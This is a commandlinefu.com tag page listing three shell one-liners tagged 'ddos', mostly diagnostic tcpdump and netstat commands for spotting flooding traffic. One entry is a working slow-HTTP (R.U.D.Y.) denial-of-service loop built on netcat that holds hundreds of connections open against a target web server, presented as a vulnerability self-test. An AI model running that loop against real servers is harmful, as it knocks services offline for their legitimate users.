Commands tagged ddos (3)

  • Sometimes it is useful to have just a general picture of "what is taking all the bandwidth here". Running this command will limit tcpdump to a few packets (instead of flooding your terminal endlessly) and will provide a small, but sometimes sufficient, sample to determine what is going on. Useful to quickly diagnose DOS attacks.


    0
    tcpdump -i eth0 -n | head
    anarcat · 2011-12-06 18:34:51 3
  • Check if your HTTP server is vulnerable to a very effective variant of slow HTTP attack called R.U.D.Y (R-U-Dead-Yet?). This command tries to keep many connections to the target web server and hold them open as long as possible. Affected server will exhaust its maximum concurrent connection pool and deny additional connection attempts from legitimate clients. Use it with caution!


    -1
    for i in `seq 300`; do ( ( echo -e "POST / HTTP/1.1\nHost: vhost.domain\nContent-length: 100000\n\n"; for j in `seq 600`; do echo $j=$j\&; sleep 5; done ) | nc vhost.domain 80 & ); done
    elceef · 2015-04-15 14:02:55 9
  • Useful to check DDoS attacks on servers. Show Sample Output


    -2
    netstat -alpn | grep :80 | awk '{print $4}' |awk -F: '{print $(NF-1)}' |sort | uniq -c | sort -n
    nitins · 2009-02-19 04:59:32 9

What's this?

commandlinefu.com is the place to record those command-line gems that you return to again and again. That way others can gain from your CLI wisdom and you from theirs too. All commands can be commented on, discussed and voted up or down.

Share Your Commands


Check These Out

Dock Thunderbird in system tray and hide main window
Dock Thunderbird in system tray and hide main window. Very useful for startup scripts. Of course you can dock any app of your choice.

Look for English words in /dev/urandom
* to get the English dictionary: wget http://www.mavi1.org/web_security/wordlists/webster-dictionary.txt

how to export a table in .csv file
Exports the result of query in a csv file

Python extract json

copy from host1 to host2, through your host
Good if only you have access to host1 and host2, but they have no access to your host (so ncat won't work) and they have no direct access to each other.

Generate a random password 30 characters long

Convert CSV to JSON
Replace 'csv_file.csv' with your filename.

List all open ports and their owning executables
Particularly useful on OS X where netstat doesn't have -p option.

Extract the MBR ID of a device
Useful when you want to know the mbrid of a device - for the purpose of making it bootable. Certain hybridiso distros, for eg the OpenSUSE live ISO uses the mbrid to find the live media. Use this command to find out the mbrid of your USB drive and then edit the /grub/mbrid file to match it.

Advanced python tracing
Trace python statement execution and syscalls invoked during that simultaneously


Stay in the loop…

Follow the Tweets.

Every new command is wrapped in a tweet and posted to Twitter. Following the stream is a great way of staying abreast of the latest commands. For the more discerning, there are Twitter accounts for commands that get a minimum of 3 and 10 votes - that way only the great commands get tweeted.

» http://twitter.com/commandlinefu
» http://twitter.com/commandlinefu3
» http://twitter.com/commandlinefu10

Subscribe to the feeds.

Use your favourite RSS aggregator to stay in touch with the latest commands. There are feeds mirroring the 3 Twitter streams as well as for virtually every other subset (users, tags, functions,…):

Subscribe to the feed for: